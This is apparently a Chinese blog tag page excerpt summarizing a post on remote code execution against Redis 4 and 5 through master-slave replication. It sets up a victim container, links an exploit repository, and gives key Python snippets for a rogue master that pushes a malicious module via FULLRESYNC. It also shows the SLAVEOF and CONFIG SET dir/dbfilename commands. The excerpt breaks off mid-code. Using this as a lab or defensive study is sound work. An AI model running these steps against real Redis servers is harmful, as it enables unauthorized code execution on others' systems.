Tag:主从

Tag (主从)'s result:

利用redis主从进行RCE

0x00 概述 redis常见利用未授权访问漏洞,参考redis未授权访问漏洞利用 现在还可以利用redis的主从特性进行RCE,详情参考ppt 影响redis4和5。   0x01 重现 环境: 受害机: docker run –name redis5-alpine -d -v $PWD:/data –restart=always -p 6379:6379 hareemca123/redis5:alpine 或者 docker run –name redis4-6379 -p 6379:6379 -d redis:4.0 攻击机: 利用脚本 https://github.com/jas502n/Redis-RCE   0x02 原理 主从握手机制见下图 //此图源自网络 攻击大概流程: 创建一个恶意的redis服务器master,用来发送执行命令的module(exp_lin.so) 关键代码: def handle(self, data): resp = “” phase = 0 if data.find(“PING”) > -1: resp = “+PONG” + CLRF phase = 1 elif data.find(“REPLCONF”) > -1: resp = “+OK” + CLRF phase = 2 elif data.find(“PSYNC”) > -1 or data.find(“SYNC”) > -1: resp = “+FULLRESYNC ” + “Z” * 40 + ” 0″ + CLRF resp += “$” + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase 2. 在受害redis上将恶意redis设置为master:SLAVEOF vps port。 关键代码: print(“[*] Sending SLAVEOF command to server”) remote.do(“SLAVEOF {} {}”.format(lhost, lport)) back = remote._sock.getsockname() print(“\033[92m[+]\033[0m Accepted connection from {}:{}”.format(back[0], back[1])) 3. 在受害redis设置dbfilename和dir。 关键代码: print(“[*] Setting filename”) remote.do(“CONFIG SET dir /tmp/”) remote.do(“CONFIG SET dbfilename {}”.format(expfile)) 4. 通过同步将module写入受害redis磁盘上:+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload> 关键代码: class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port =……